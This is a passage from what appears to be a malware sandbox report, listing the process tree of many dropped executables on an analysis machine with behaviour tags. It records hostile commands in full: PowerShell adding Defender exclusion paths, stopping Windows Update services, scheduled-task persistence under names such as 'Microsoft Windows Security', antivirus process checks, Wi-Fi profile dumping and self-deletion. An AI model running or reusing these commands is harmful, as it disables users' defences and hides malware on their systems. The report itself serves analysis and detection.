                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                PID:22380
                                                                                                                                                                                                                                • C:\Windows\sysarddrvs.exe
                                                                                                                                                                                                                                  C:\Windows\sysarddrvs.exe
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                  • Modifies security service
                                                                                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  • Windows security modification
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                  PID:24328
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:14224
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                        PID:14616
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:14272
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                          sc stop UsoSvc
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:14652
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                          sc stop WaaSMedicSvc
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                          PID:29864
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                          sc stop wuauserv
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:29252
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                          sc stop DoSvc
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:28764
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                          sc stop BITS
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:27812
                                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\Files\octus.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\Desktop\Files\octus.exe"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                    PID:22516
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\ff5c5ee747fc\feburary.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\ff5c5ee747fc\feburary.exe"
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                      PID:23088
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        /c timeout 5 && del "C:\Users\Admin\AppData\Roaming\ff5c5ee747fc\feburary.exe" && exit
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:23532
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                            timeout 5
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                            PID:23680
                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\Utility2.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\Utility2.exe"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:23036
                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\t.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\t.exe"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                      PID:23492
                                                                                                                                                                                                                                      • C:\Windows\sysvplervcs.exe
                                                                                                                                                                                                                                        C:\Windows\sysvplervcs.exe
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Modifies security service
                                                                                                                                                                                                                                        • Windows security bypass
                                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Windows security modification
                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                        PID:30704
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:28400
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:25912
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:28268
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                            sc stop UsoSvc
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:25868
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                            sc stop WaaSMedicSvc
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:25360
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                            sc stop wuauserv
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:23412
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                            sc stop DoSvc
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            PID:12720
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                            sc stop BITS /wait
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:12296
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\297145541.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\297145541.exe
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                            PID:41284
                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:41528
                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                    PID:42188
                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:41572
                                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /delete /f /tn "Windows Upgrade Manager"
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:42284
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2294433096.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2294433096.exe
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:42724
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\511025838.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\511025838.exe
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:44840
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\3079318584.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\3079318584.exe
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                          PID:46088
                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\o.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\o.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                      PID:23948
                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\shell.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\shell.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      PID:24504
                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\Eszop.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\Eszop.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      PID:25276
                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\xxxx.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\xxxx.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      PID:13760
                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:13968
                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\twztl.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\twztl.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                      PID:13960
                                                                                                                                                                                                                                                      • C:\Windows\sysppvrdnvs.exe
                                                                                                                                                                                                                                                        C:\Windows\sysppvrdnvs.exe
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Modifies security service
                                                                                                                                                                                                                                                        • Windows security bypass
                                                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Windows security modification
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                                        PID:28044
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                          PID:11476
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                            PID:11060
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                          PID:11452
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                            sc stop UsoSvc
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                            PID:11040
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                            sc stop WaaSMedicSvc
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                            PID:10692
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                            sc stop wuauserv
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                            PID:10552
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                            sc stop DoSvc
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                            PID:10500
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                            sc stop BITS /wait
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            PID:10420
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2680412705.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2680412705.exe
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:1092
                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:34548
                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                    PID:33376
                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:34604
                                                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                      schtasks /delete /f /tn "Windows Upgrade Manager"
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                        PID:33096
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\199707084.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\199707084.exe
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:31984
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\222546204.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\222546204.exe
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:30556
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\81025837.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\81025837.exe
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:29596
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\robotic.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\robotic.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      PID:14904
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\1223.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\1223.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                      PID:29500
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\npp.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\npp.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                      PID:29140
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2302126912.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2302126912.exe
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                        PID:10664
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\ew.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\ew.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      PID:26320
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\jdkashk.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\jdkashk.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:38396
                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\SemiconductorNot.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\SemiconductorNot.exe"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:38504
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k move Continues Continues.cmd & Continues.cmd & exit
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:38696
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                                tasklist
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                PID:46896
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                findstr /I "wrsa.exe opssvc.exe"
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:46908
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                                  tasklist
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                  • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                  PID:4240
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                  findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:4428
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\Files\Autoupdate.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\Files\Autoupdate.exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:40824
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\Files\IT_plan_cifs.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Desktop\Files\IT_plan_cifs.exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:41180
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3F19.tmp\3F1A.tmp\3F1B.bat C:\Users\Admin\Desktop\Files\IT_plan_cifs.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:41500
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\DecryptJohn.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\DecryptJohn.exe"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:41388
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\networks_profile.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\networks_profile.exe"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:41648
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\Files\networks_profile.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\Files\networks_profile.exe"
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:41980
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:42012
                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                                                                                                                                                                                  netsh wlan show profiles
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                  PID:42216
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\Steam.Upgreyd.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\Steam.Upgreyd.exe"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:41772
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                  schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                  PID:46352
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\Files\splwow64_1.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\Files\splwow64_1.exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:42076
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:42308
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\Files\TigerHulk3.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Desktop\Files\TigerHulk3.exe"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:32328
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\o.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\o.exe"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:32172
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\pei.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\pei.exe"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:4004
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2038232831.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2038232831.exe
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:28464
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                          PID:23504
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:17896
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
